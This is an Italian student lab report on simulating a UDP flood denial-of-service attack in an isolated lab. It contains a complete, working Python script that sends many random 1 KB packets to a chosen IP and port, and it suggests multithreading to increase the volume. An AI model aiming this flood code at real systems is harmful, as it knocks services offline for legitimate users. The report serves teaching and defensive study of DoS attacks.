

Simulazione UDP Flood

Studente: Simone Santonico

Data 13/05/2026

1. Introduzione

Nel contesto della cybersecurity, gli attacchi DoS (Denial of Service) rappresentano una delle tecniche più diffuse per rendere un servizio indisponibile. L'obiettivo è saturare le risorse di rete o di sistema della vittima tramite un volume elevato di richieste.

In questo laboratorio viene realizzata una **simulazione controllata di UDP Flood**, utile per comprendere:

- come funziona un attacco DoS basato su UDP
- come generare pacchetti
- come inviarli verso un target in ambiente di test
- quali sono gli impatti osservabili

L'esercizio è pensato **esclusivamente per ambienti di laboratorio**, come VM locali o reti isolate.

2. Obiettivo del Laboratorio

Sviluppare un programma Python che:

- richiede IP e porta UDP del target
- genera pacchetti da 1 KB
- invia un numero definito di pacchetti verso la macchina target
- simula un comportamento simile a un UDP Flood

3. Requisiti Tecnici

Software

- Python 3.x
- Moduli standard: `socket`, `random`

Ambiente consigliato

- Kali Linux come macchina attaccante
- Metasploitable 2 o un server UDP custom come target
- Rete Host-Only o NAT isolata

4. Codice Sorgente (Python)

```
import socket
import random

def genera_pacchetto_1kb():
    # 1 KB = 1024 byte
    return bytes([random.randint(0, 255) for _ in range(1024)])

def main():
    print("=== Simulazione UDP Flood (solo per scopi didattici) ===")

    target_ip = input("Inserisci IP target: ")
    target_port = int(input("Inserisci porta UDP target: "))
    num_pacchetti = int(input("Quanti pacchetti da 1 KB vuoi inviare? "))

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    print(f"\nInvio di {num_pacchetti} pacchetti verso {target_ip}:{target_port}...\n")

    for i in range(1, num_pacchetti + 1):
        pacchetto = genera_pacchetto_1kb()
        sock.sendto(pacchetto, (target_ip, target_port))
        print(f"Pacchetto {i}/{num_pacchetti} inviato")

    print("\nSimulazione completata.")

if __name__ == "__main__":
    main()
```

5. Analisi del Funzionamento

Generazione del pacchetto

Ogni pacchetto è composto da 1024 byte generati casualmente.

Questo simula un payload generico, tipico dei flood UDP.

Invio dei pacchetti

Il programma utilizza socket UDP (`SOCK_DGRAM`) per inviare i pacchetti senza instaurare una connessione.

Questo rende l'invio:

- veloce
- non affidabile
- adatto a simulare un attacco DoS

Carico sul target

Il target riceverà:

- un numero elevato di pacchetti
- su una porta specifica
- senza handshake o controllo di integrità

Questo può causare:

- saturazione della banda
- aumento del carico CPU
- overflow dei buffer UDP

6. Possibili Estensioni del Laboratorio

Per approfondire, si possono aggiungere:

- multithreading per aumentare il volume del traffico
- logging dei tempi di invio
- misurazione del carico sul target
- implementazione di un semplice server UDP per osservare i pacchetti ricevuti

7. Considerazioni Finali

Questo laboratorio permette agli studenti di:

- comprendere la logica di un attacco DoS
- analizzare il comportamento del protocollo UDP
- osservare gli effetti del traffico massivo su un sistema target
- sviluppare consapevolezza difensiva